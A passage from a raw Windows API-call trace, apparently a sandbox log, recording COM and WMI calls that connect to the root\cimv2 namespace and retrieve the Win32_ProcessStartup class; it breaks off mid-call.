[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b45cfd0) returned 0x0 [0114.923] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45cfd0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0114.923] WbemDefPath:IUnknown:Release (This=0x1b45cfd0) returned 0x3 [0114.923] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0114.923] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0114.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0114.923] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x2 [0114.923] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x1 [0114.924] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0114.924] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0114.924] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x655430) returned 0x0 [0114.924] WbemDefPath:IUnknown:AddRef (This=0x655430) returned 0x3 [0114.924] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x2 [0114.924] WbemDefPath:IWbemPath:SetText (This=0x655430, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0114.924] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655430, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0114.924] WbemDefPath:IWbemPath:GetText (in: This=0x655430, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0114.924] WbemDefPath:IWbemPath:GetText (in: This=0x655430, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0114.924] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0114.924] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0114.924] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0114.924] IUnknown:Release (This=0x6124e8) returned 0x1 [0114.924] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b45d190) returned 0x0 [0114.925] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d190, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0114.925] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b45d190, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b45d1b0) returned 0x0 [0114.925] WbemLocator:IUnknown:Release (This=0x1b45d190) returned 0x0 [0114.925] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d1b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b45d1b0) returned 0x0 [0114.925] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d1b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0114.925] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d1b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0114.925] WbemLocator:IUnknown:AddRef (This=0x1b45d1b0) returned 0x3 [0114.925] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d1b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0114.925] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d1b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0114.925] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d1b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0114.925] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0114.925] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0114.925] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d1b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0114.926] WbemLocator:IUnknown:Release (This=0x1b45d1b0) returned 0x2 [0114.926] WbemLocator:IUnknown:Release (This=0x1b45d1b0) returned 0x1 [0114.926] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0114.926] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0114.926] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d1b0, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b45d1b0) returned 0x0 [0114.926] WbemLocator:IUnknown:AddRef (This=0x1b45d1b0) returned 0x3 [0114.926] WbemLocator:IUnknown:Release (This=0x1b45d1b0) returned 0x2 [0114.926] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655430, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0114.926] WbemDefPath:IWbemPath:GetText (in: This=0x655430, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0114.926] WbemDefPath:IWbemPath:GetText (in: This=0x655430, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0114.926] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b45d1d0) returned 0x0 [0114.926] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b45d1d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4e0470) returned 0x0 [0115.060] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0470, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b5116d0) returned 0x0 [0115.061] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b5116d0, pProxy=0x1b4e0470, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0115.061] WbemLocator:IUnknown:Release (This=0x1b5116d0) returned 0x1 [0115.061] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0470, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b511718) returned 0x0 [0115.061] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0470, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b5116d0) returned 0x0 [0115.061] WbemLocator:IClientSecurity:SetBlanket (This=0x1b5116d0, pProxy=0x1b4e0470, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0115.061] WbemLocator:IUnknown:Release (This=0x1b5116d0) returned 0x2 [0115.061] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x1 [0115.061] CoTaskMemFree (pv=0x1b461f70) [0115.061] WbemLocator:IUnknown:Release (This=0x1b45d1d0) returned 0x0 [0115.061] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0470, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b511718) returned 0x0 [0115.062] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0115.062] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0115.107] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0470, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0115.108] WbemLocator:IUnknown:AddRef (This=0x1b511718) returned 0x3 [0115.108] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0115.108] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0115.108] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b5115f8) returned 0x0 [0115.108] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b5115f8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0115.108] WbemLocator:IUnknown:Release (This=0x1b5115f8) returned 0x3 [0115.108] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0115.108] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0115.108] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b5116e0) returned 0x0 [0115.108] WbemLocator:IRpcOptions:Query (in: This=0x1b5116e0, pPrx=0x1b511718, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0115.108] WbemLocator:IUnknown:Release (This=0x1b5116e0) returned 0x3 [0115.108] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x2 [0115.108] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0115.108] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0115.108] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4e0470) returned 0x0 [0115.108] WbemLocator:IUnknown:AddRef (This=0x1b4e0470) returned 0x4 [0115.108] WbemLocator:IUnknown:Release (This=0x1b4e0470) returned 0x3 [0115.109] WbemLocator:IUnknown:Release (This=0x1b4e0470) returned 0x2 [0115.109] SysStringLen (param_1=0x0) returned 0x0 [0115.109] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0115.109] WbemLocator:IUnknown:AddRef (This=0x1b511718) returned 0x3 [0115.109] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b511718) returned 0x0 [0115.109] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x3 [0115.109] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x2 [0115.109] WbemDefPath:IWbemPath:GetText (in: This=0x656270, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0115.109] WbemDefPath:IWbemPath:GetText (in: This=0x656270, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0115.109] IWbemServices:GetObject (in: This=0x1b4e0470, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4da240, ppCallResult=0x0) returned 0x0 [0115.111] IWbemClassObject:Get (in: This=0x1b4da240, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0115.111] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0115.111] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0115.112] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0115.112] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0115.112] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0115.112] IUnknown:Release (This=0x6124e8) returned 0x1 [0115.112] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b48b070) returned 0x0 [0115.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b070, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0115.113] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b070, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x6558b0) returned 0x0 [0115.113] WbemDefPath:IUnknown:Release (This=0x1b48b070) returned 0x0 [0115.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x6558b0) returned 0x0 [0115.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0115.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0115.113] WbemDefPath:IUnknown:AddRef (This=0x6558b0) returned 0x3 [0115.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0115.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0115.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b48b5d0) returned 0x0 [0115.113] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b5d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0115.113] WbemDefPath:IUnknown:Release (This=0x1b48b5d0) returned 0x3 [0115.113] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0115.113] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0115.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0115.113] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x2 [0115.114] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x1 [0115.114] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0115.114] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0115.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x6558b0, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x6558b0) returned 0x0 [0115.114] WbemDefPath:IUnknown:AddRef (This=0x6558b0) returned 0x3 [0115.114] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x2 [0115.114] WbemDefPath:IWbemPath:SetText (This=0x6558b0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0115.114] IWbemClassObject:Get (in: This=0x1b4da240, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aaf560*=0, plFlavor=0x2aaf564*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aaf560*=19, plFlavor=0x2aaf564*=0) returned 0x0 [0115.114] IWbemClassObject:Get (in: This=0x1b4da240, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aaf560*=19, plFlavor=0x2aaf564*=0 | out: 